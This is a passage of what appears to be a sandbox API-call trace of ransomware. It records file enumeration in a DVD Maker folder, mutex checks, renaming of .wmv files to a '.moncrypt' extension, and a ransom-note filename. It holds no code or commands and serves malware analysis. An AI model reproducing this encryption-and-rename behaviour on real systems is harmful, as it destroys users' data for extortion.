Edition\\眵?\x18") returned 8 [0058.135] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.135] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\") returned 0x31 [0058.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0058.135] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.135] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.135] GlobalUnlock (hMem=0x44000c) returned 0 [0058.135] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.135] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.135] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.135] GlobalUnlock (hMem=0x44000c) returned 0 [0058.135] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.135] GlobalUnlock (hMem=0x440004) returned 0 [0058.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.136] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.136] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0058.136] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.136] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.136] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.136] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.136] GlobalUnlock (hMem=0x440004) returned 0 [0058.136] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.136] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.136] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.136] GlobalUnlock (hMem=0x440004) returned 0 [0058.136] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.136] GlobalUnlock (hMem=0x44000c) returned 0 [0058.136] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.136] CharLowerBuffW (in: lpsz="Notes_INTRO_BG.wmv", cchLength=0x12 | out: lpsz="notes_intro_bg.wmv") returned 0x12 [0058.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.137] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0058.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\Pets\\Notes_INTRO_BG.wmv", lpUsedDefaultChar=0x0) returned 4 [0058.137] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0058.137] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0058.138] CloseHandle (hObject=0x18c) returned 1 [0058.138] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\я")) returned 1 [0058.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 0x54e280 [0058.139] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.139] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.140] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.140] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv", dwFileAttributes=0x20) returned 0 [0058.140] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv.moncrypt")) returned 0 [0058.140] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0058.140] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.140] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.140] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.140] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.141] GlobalUnlock (hMem=0x44000c) returned 0 [0058.141] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.141] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.141] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.141] GlobalUnlock (hMem=0x44000c) returned 0 [0058.141] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.141] GlobalUnlock (hMem=0x440004) returned 0 [0058.141] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.141] CharLowerBuffW (in: lpsz="Notes_INTRO_BG_PAL.wmv", cchLength=0x16 | out: lpsz="notes_intro_bg_pal.wmv") returned 0x16 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 71 [0058.142] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0058.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\Pets\\Notes_INTRO_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 4 [0058.142] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 0x54e280 [0058.142] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.142] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.142] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.142] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv", dwFileAttributes=0x20) returned 0 [0058.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.144] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv.moncrypt")) returned 0 [0058.144] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0058.144] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.144] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.144] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.144] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.144] GlobalUnlock (hMem=0x440004) returned 0 [0058.144] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.144] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.144] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.144] GlobalUnlock (hMem=0x440004) returned 0 [0058.144] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.144] GlobalUnlock (hMem=0x44000c) returned 0 [0058.144] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.145] CharLowerBuffW (in: lpsz="Notes_LOOP_BG.wmv", cchLength=0x11 | out: lpsz="notes_loop_bg.wmv") returned 0x11 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 